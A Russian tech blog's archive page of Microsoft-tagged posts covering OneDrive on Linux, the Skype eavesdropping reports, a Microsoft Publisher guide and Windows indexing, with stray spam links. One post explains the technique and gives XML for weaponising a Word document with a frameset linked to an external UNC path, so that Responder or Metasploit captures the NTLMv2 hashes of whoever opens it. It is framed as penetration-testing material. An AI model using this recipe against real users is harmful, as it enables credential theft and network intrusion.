Архив метки: Microsoft

Подключение OneDrive в Linux

OneDrive, ранее известный как SkyDrive —  это популярное облачное хранилище файлов от Microsoft. Сейчас оно бесплатно предоставляет 7 гигабайтов пространства новым пользователям. Как вы знаете, OneDrive хорошо интегрирован с другими продуктами компании Microsoft. В OneDrive также есть официальный клиент, который автоматически загружает ваши видео и фотографии со смартфона в облако. Но, к сожалению, этот клиент недоступен для операционных систем семейства Linux.

Но не всё так плохо. Существует несколько сторонних приложений, которые позволяют очень просто подключаться к облаку OneDrive в Linux. Одно из них — Insync. В сегодняшней статье мы разберёмся, как подключиться к OneDriver в Linux с помощью Insync.

Читать

Прощай, скайп! Мы будем скучать по тебе

Microsoft, нынешний владелец интернет-телефонии Skype, недавно был пойман на прослушивании телефонных разговоров простых людей, проводимых в Skype.

Первый случай был зарегистрирован в августе 2019 года, когда Microsoft используется функция автоматического перевода Skype для прослушивания телефонных разговоров не давая пользователям знать об этом. Главной проблемой также было то, как субподрядчики, которые слушали и расшифровывали разговоры, управляли безопасностью аудиоматериала.

Интересна внешняя политика Петра I, рождение мировой державы? Это и многое можно узнать из статьи https://istmira.com/drugoe-istoriya-rossii/12285-vneshnyaya-politika-petra-i-kratko.html. История России при Петре 1.

Косвенно Microsoft признала, что компания слушала телефонные звонки, заявив, что они могут «анализировать аудио» звонков.

В январе 2020 года The Guardian разговаривал с работником по контракту, который прослушивал телефонные звонки Skype (и разговоры с помощником Cortana) в Китае. Рабочий — британец, жил в Китае, и ему велели слушать разговоры на английском и английском языках, записанные в любой точке мира. Замечательная вещь в его истории заключается в том, что аудиоклипы, сохраненные из звонков Skype, были доступны любому в организации, у которого был пароль, отправленный в виде простого текста по электронной почте. В Китае обеспокоенность вызывает то, что все, что передается в виде простого текста, рассматривается властями.

Опять же, Microsoft признала, что компания слушает разговоры, но переносит подобные задачи на более безопасные объекты за пределами Китая. Вот что Microsoft сказала The Guardian:

«Мы рассматриваем короткие фрагменты неопознанных голосовых данных от небольшого процента клиентов, чтобы помочь улучшить функции с поддержкой голоса, и мы иногда привлекаем к этой работе компании-партнеры. Длительность просмотра фрагментов обычно не превышает десяти секунд, и никто, просматривающий эти фрагменты, не сможет получить доступ к более длинным разговорам. Мы всегда сообщали об этом клиентам и действуем в соответствии с самыми высокими стандартами конфиденциальности, установленными в таких законах, как GDPR в Европе.

Прощай, скайп! Я буду скучать по тебе, но я получаю другой сервис Voip для конфиденциальности

 

Вот и все. Ущерб был нанесен. Microsoft разрушила доверие, необходимое для использования таких служб, как Skype, где происходит обмен частной информацией.

Возможно, мобильный телефон будет моим основным инструментом голосовой связи или приложением Nextcloud Talk. Skype будет нелегко заменить, но я уже заменил приложения и службы Google.

 

Сказочная история скайпа

Мы до сих пор помним это, как вчера, когда мы набрали свой первый телефонный звонок Skype. У нас были совершенно новые наушники, которые были куплены по этому случаю. Это было откровением. Мобильный телефон или стационарный телефон никогда не обеспечивали такого качества звука. Как будто человек на другом конце (в данном случае в другом городе) сидел рядом со мной. Это случилось 16 лет назад.

Служба интернет телефона Skype пошла жизнь с 29 августа 2003 г. Несколько лет назад, швед по имени Никлас Зеннстром и датчанин по имени Янус Фриис наняли эстонских программистов на работу для телекоммуникационной компании. С тех пор и Zennström, и Friis подали в отставку, потому что были заняты созданием интернет-стартапов.

Вместе с эстонскими техниками, которых уже знали Фриис и Зеннстрем, у них возникла идея создать бесплатную телефонную службу, которая будет работать в Интернете. Это было бесплатно, потому что Zennström и Friis использовали одноранговую технологию программного обеспечения от их предыдущего запуска Kazaa. Первая версия Skype была разработана довольно быстро поверх одноранговой сети.

Позже в Skype появилось множество функций, за которые вы могли бы заплатить, если бы захотели, например, звонить на стационарные номера, отправлять текстовые сообщения или даже иметь свой собственный номер телефона, на который могли звонить люди без Skype. По мере роста популярности сервиса происходили икоты. Иногда, чтобы установить хорошую связь, потребовалось некоторое время.

Первым покупателем Skype был Ebay, который приобрел стартап уже в 2005 году. Мы не можем вспомнить каких либо проблем для пользователей из-за этого приобретения. Похоже, Ebay оставил Skype в покое, чтобы разработать продукт так, как они считают нужным. Проблемы начались, когда Microsoft купила Skype в 2011 году. Пользовательский интерфейс и функциональность были изменены, и не всегда в лучшую сторону.

Мы иногда пользовались платными сервисами скайп, и они у меня нормально работали. У нас все еще есть деньги в моей учетной записи Skype, ожидающие, чтобы их использовали для телефонных звонков, но мы думаем, что не будем их использовать. Пора двигаться дальше.



2020-01-29T14:26:28
Microsoft

Краткое руководство для начинающих по Microsoft Publisher

В этот день любителей DIY каждый достаточно разбирается в технологиях, чтобы создавать и публиковать свой собственный цифровой контент, а у гигантов компьютерного программного обеспечения, таких как Microsoft, есть программы, которые облегчают это.

У вас могут быть базовые приложения, которые охватывают текстовые документы (Microsoft Word), числовые данные (Microsoft Excel) и содержимое презентаций (Microsoft PowerPoint).

Для профессиональных печатных изданий есть Microsoft Publisher.

Скачать его можно здесь https://officeproduct.info/microsoft-publisher/, где выбрать можно любую версию.

Приложение предоставляет вам доступные и простые в использовании функции публикации на рабочем столе, которые может использовать каждый. Из-за этого это отличный вариант для малых предприятий, обычных пользователей, преподавателей, родителей или фрилансеров, которым необходимо создавать публикации, но не иметь графического фона. Приложение позволяет им создавать рекламные материалы и материалы, которые выглядят профессионально.

Ниже мы дадим вам лучшее представление о приложении, о том, что оно делает, как с ним работать и о некоторых ресурсах, которые помогут вам начать работу.

 

Для чего используется Microsoft Publisher?

Microsoft Publisher позволяет вам работать так же легко, как и в Microsoft Word, но вместо использования инструментов для текста вы будете использовать инструменты для редактирования макетов страниц и визуального содержимого.

Сказав это, вы можете спросить, что вы можете делать в Microsoft Publisher?

Ответ: практически все, что вам нужно, чтобы профессионально оформить и опубликовать свой материал. Вот некоторые примеры:

  • Персонализированные поздравительные открытки
  • Афиши
  • Бюллетени для малого бизнеса и организаций
  • Профессиональные визитки
  • Флаеры и программы
  • Открытки и брошюры

Конечно, это только верхушка айсберга. Редактирование и настройка этого контента — вот где MS Publisher действительно хорош. Вы можете работать с нуля, из шаблонов или из уже имеющегося контента.

 

Макеты в Microsoft Publisher

Помимо помощи в работе с исходным содержимым PDF, Microsoft Publisher также оснащен сотнями готовых макетов и шаблонов печенья, которые вы можете использовать для получения рекомендаций, идей или вдохновения.

Чтобы использовать шаблон в MS Publisher:

  1. Нажмите Файл> Создать.
  2. Затем вы можете:

    • Выберите один из рекомендуемых шаблонов и нажмите « Создать».
    • Выберите « Встроенный» и прокрутите, чтобы выбрать категорию, выберите шаблон и нажмите « Создать»,   чтобы использовать его.
    • Используйте функцию поиска для онлайн-шаблонов, чтобы найти нужный вам шаблон.

  3. После того, как шаблон открыт в Publisher, вы можете начать его форматирование и редактирование.

 

Начало работы с Microsoft Publisher

Прежде чем вы начнете пачкать руки, есть несколько основ, которые вам нужно знать. Поскольку MS Publisher работает со всеми видами макетов, объектов, форматов и контента, он работает не совсем так, как вы привыкли в MS Word. Ниже приведено краткое руководство по основным вопросам.

 

Работа с объектами

Вы заметите, что в Publisher все будет отформатировано в подвижные «коробки». Они известны как объекты и обведены рамкой с четырьмя белыми кругами и четырьмя белыми квадратами.

Поначалу это может показаться странным, но эти подобные рамке блоки позволяют с легкостью группировать, редактировать, манипулировать и перемещать содержимое на странице. Вот несколько способов частой работы с объектами:

Добавление текста. Чтобы добавить текст в свой проект, вы работаете в текстовых полях и можете редактировать текст непосредственно в объекте. Вы также можете добавить свой собственный, перейдя на вкладку «Вставка» и щелкнув команду «Рисовать текстовое поле», которая позволяет щелкнуть и перетащить, чтобы создать собственный текстовый объект в нужном вам месте.

Большинство шаблонов в Publisher будут предлагать готовые коробки и объекты, поэтому необходимо ознакомиться с ними.

Эти поля обычно содержат фиктивный текст, который вы можете легко дважды щелкнуть и отредактировать, настроив шрифт, размер и цвет.

Добавление картинок. Добавление картинок к вашему контенту так же просто, как щелкнуть Главная> Картинки. У вас будет возможность вставлять картинки из файла, OneDrive или из поиска на Bing. Кроме того, у вас есть несколько вариантов форматирования изображения в публикации.

Просто перейдите на вкладку « Формат », когда ваша картинка выбрана, и вы можете начать адаптировать ваши изображения. Чтобы узнать больше о работе с изображениями, вы можете прочитать советы Microsoft по работе с изображениями в Microsoft Publisher.

 

Использование строительных блоков

Строительные блоки облегчают создание и настройку публикации, предоставляя готовые элементы. Вы можете найти их на вкладке Вставка на ленте:

Изучив несколько настроек, вы можете легко выбрать нужный элемент, а затем щелкнуть и перетащить, чтобы изменить положение и соответственно изменить его размер. Это простой способ применять и манипулировать повторно используемыми частями контента.

Это пригодится вам, когда вы захотите добавить заголовки, границы, разделы, акценты и рекламные объявления. В Microsoft Publisher встроены эти стандартные блоки, но вы также можете создавать свои собственные.

 

Использование Design Checker в Publisher

Это еще одна функция, которую вы захотите использовать, когда закончите собирать содержимое публикации. Программа Design Checker доступна через Файл> Информация> Design Checker. Это инструмент, который проверяет ваш конечный контент на наличие проблем с макетом или дизайном, и он отображается в правой части интерфейса.

Думайте об этом инструменте как о повседневной проверке орфографии, но не о текстовых опечатках, а о содержании вашей публикации.

Программа Design Checker проверяет ваш контент на наличие проблем с дизайном и макетом, что позволяет вам отследить и исправить их, прежде чем завершить задание на печать.

И не беспокойтесь, если вы не дизайнер, инструмент предоставит вам объяснения и предложения о том, как исправить обнаруженные проблемы.

Вы также можете указать типы проблем, которые будет искать инструмент, щелкнув диалоговое окно « Параметры Design Checker».

 

Печать вашего проекта

Поскольку приложение предназначено для создания цифрового контента, предназначенного для печати, это будет еще одна базовая задача, с которой вам необходимо ознакомиться. Чтобы напечатать ваш проект, у Microsoft Publisher есть несколько способов помочь распечатать ваш контент.

Существует стандартный метод, который использует функциональность принтера, с которой вы знакомы, если печатаете публикацию на настольном принтере. Единственное, что вам нужно сделать, — это убедиться, что вы настроили параметры для правильной печати вашего контента на нужном размере и типе бумаги. Не забудьте сначала сохранить свой проект, прежде чем печатать!

В дополнение к обычному PDF-файлу и распространенным типам файлов, существует также мастер Pack and Go через File> Export> Pack and Go Wizard.

Этот метод предоставит вам варианты сохранения файла для различных целей печати — даже для коммерческого принтера — так что вам не придется беспокоиться о технических деталях форматирования и настроек. Волшебник сделает это за вас. Вы просто решаете, какой вариант лучше всего подходит для ваших нужд.

Знание того, как справиться с вышеуказанными основами, позволит вам легко работать с любым типом макета или проекта, над которым вы работаете.

 

Вывод

Итак, вооружившись основами, вы теперь готовы начать создавать профессионально выглядящий контент для публикации без дорогого ценника.

Сообщите нам в комментариях, какие у вас есть другие вопросы по работе с цифровым контентом и как MS Publisher работал для вас.



2020-01-28T15:36:01
Microsoft

Как в Windows 10 включить индексирование зашифрованных файлов

Поиск файлов и папок в Windows 10 будет выполняться гораздо быстрее, если в настройках системы включить функцию индексирования. Способы и алгоритмы индексирования в «десятке» несколько отличается от того, что было в предыдущих версиях системы, но сам принцип в целом остается прежним. Windows считывает имена файлов и папок, а затем помещает их в особую базу данных, к которой обращается при выполнении пользователям поиска. Читать

Microsoft Office – Хэш NTLM через Frameset

Офисные документы Microsoft играют жизненно важную роль в оценке этичного хакера или тестироващика на проникновение, поскольку обычно они используются, чтобы получить некоторую начальную точку опоры во внутренней сети клиента.

Пребывание под радаром также является ключевым элементом, и это может быть достигнуто только путем злоупотребления законными функциональными возможностями Windows или доверенного приложения, такого как офис Microsoft.

Исторически Microsoft Word использовался как HTML-редактор.

Это означает, что он может поддерживать HTML-элементы, такие как framesets.

Поэтому можно связать документ Microsoft Word с UNC-контуром и расчесывать его с помощью responder, чтобы захватывать хеши NTLM извне.

Документы Word с расширением docx представляют собой zip-файл, который содержит различные XML-документы.

Эти файлы XML управляют темой, шрифтами, настройками документа и веб-настройками.

Используя 7-zip, можно открыть этот архив, чтобы изучить эти файлы:

Папка слова содержит файл, который называется webSettings.xml.

Этот файл необходимо изменить, чтобы включить набор фреймов.

Добавление следующего кода создаст ссылку на другой файл.

<w:frameset>

<w:framesetSplitbar>

<w:w w:val="60"/>

<w:color w:val="auto"/>

<w:noBorder/>

</w:framesetSplitbar>

<w:frameset>

<w:frame>

<w:name w:val="3"/>

<w:sourceFileName r:id="rId1"/>

<w:linkedToFile/>

</w:frame>

</w:frameset>

</w:frameset>

Новый файл webSettings.xml, содержащий набор фреймов, должен быть добавлен обратно в архив, чтобы предыдущая версия была перезаписана.

Необходимо создать новый файл (webSettings.xml.rels), чтобы содержать идентификатор отношения (rId1) UNC-путь и TargetMode, если он является внешним или внутренним.

 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships

xmlns="http://schemas.openxmlformats.org/package/2006/relationships">

<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame" Target="\192.168.1.169Microsoft_Office_Updates.docx" TargetMode="External"/>

</Relationships> 

Каталог _rels содержит связанные отношения документа с точки зрения шрифтов, стилей, тем, настроек и т. д.

Посадка нового файла в этом каталоге завершит связь отношений, которая была создана ранее через набор фреймов.

Теперь, когда документ Word был вооружен для подключения к UNC-пути через Интернет, responder может быть настроен для захвата хешей NTLM.

Как только целевой пользователь откроет документ документа, он попытается подключиться к UNC-пути.

Ответчик получит хэш NTLMv2 пользователя.

В качестве альтернативы Metasploit Framework может использоваться вместо ответчика, чтобы захватить хэш пароля.

 auxiliary/server/capture/smb 

Хеши NTLMv2 будут записаны в Metasploit после открытия документа.

Вывод

Этот метод позволяет атакующему захватить хэши паролей домена у пользователей, которые могут привести к внутреннему доступу к сети, если двухфакторная аутентификация для доступа к VPN не включена и существует слабая политика паролей.

Кроме того, если целевой пользователь является повышенной учетной записью, такой как локальный администратор или администратор домена, этот метод можно комбинировать с реле SMB, чтобы получить сеанс Meterpreter.

¯_(ツ)_/¯

Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.



2018-03-13T14:33:36
Аудит ИБ

Как встроить файл электронной таблицы XLS (Excel) в страницу сайта

Снова используем OneDrive и Google Диск. Таблица внедряется на сайт через элемент 

 

Google Диск — Документы

Заходим в Google Диск (требуется авторизация или регистрация). Добавляем файл электронной таблицы. Открываем через Google Таблицы.

Далее, Файл — Опубликовать в Интернете — Встроить.
Копируем и вставляем код в нужное место страницы.

Читать